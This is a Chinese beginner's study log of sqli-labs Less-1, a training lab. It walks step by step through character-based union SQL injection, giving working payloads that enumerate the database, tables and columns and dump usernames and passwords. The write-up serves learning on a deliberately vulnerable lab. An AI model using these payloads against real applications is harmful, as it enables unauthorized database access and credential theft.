• 小白注入学习:sqli-labs--less1学习记录


    Sqli-labs ----- Less1 字符型注入:union 联合查询注入

    1.判断注入点,注入类型
    (1)根据在id后面输入 ' 后根据数据库报错信息,猜想其id的内容存放在已对单引号中
    (2)输入 ' and 1=1 --+发现内容返回正常(小白注释:--+后面sql语句内容)
    输入' and 1=2 --+ 返回内容错误,这里应该存在字符型的注入漏洞。
    2.order by 查询列数
    根据order by --+查询语句,发现当前表单有3列。(小白注释:这里猜数字可以用去中间值法
    3.获取数据库名
    使用联合查询语句 union select查询数据库名称
    ?id=-1' union select 1,2,3--+看到页面回显内容,分别有2,3列。
    ?id=-1' union select 1,2,databse()--+可以在上述3的位置得到数据库名security
    (小白注释:database()函数数据库中返回当前数据库名,类似的函数还有version()返回当前数据库版本,current_user()返回mysql的用户名和主机名)
    4.获取表名
    ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
    表有 users,emails,referers,uagents,显然users是需要的用户表。
    5.获取字段名
    ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
    6.获取账号username密码password
    ?id=-1' union select 1,2,group_concat(username,'~',password) from users--+(小白注释:这里用~号将账号密码隔开)

    PS:小白总结

    (1)information_schema可以看作是信息数据库,在其中有几个只读表保存着在 MySQL服务器中所有其他的数据,如数据库名,表名。
    (2)information_schema中的 tables表提供了数据库中关于表的信息;colunms提供了表中列的信息
    (3)group_concat()作用是将 group by 产生的的所有结果连接起来后返回一个字符串记录,在本例中查询username和 password的所有结果
    语法:group_concat( [distinct] 要连接的字段 [ order by 排序字段 asc/desc ] [separator '分隔符 ' ] )
    (4)现根据'和报错信息判断是否存在注入点,判断是字符还是数字型注入
    用order by查询列数,再根据 union select查询的回显信息一步步获取数据库名,表名,字段名,字段内容。

    小白的注入学习记录!!

  • 相关阅读:
    JavaWeb学习总结(一)——使用Session防止表单重复提交
    java_socket套接字网络编程_实现多线程聊天
    服务器响应的生成:HTTP状态代码——HttpServletResponse接口应用
    服务器响应的生成:HTTP响应报头——HttpServletResponse接口的应用
    java_socket套接字网络编程
    JavaWeb学习总结(二)——JSP中的九个内置对象
    Servlet客户请求的处理:HTTP请求报头HttpServletRequest接口应用
    文件上传利器SWFUpload使用指南
    JavaScript高级特性创建对象的九种方式
    JavaScript高级特性实现继承的七种方式
  • 原文地址:https://www.cnblogs.com/ersuani/p/sqlilab_less1.html
Copyright © 2020-2023  润新知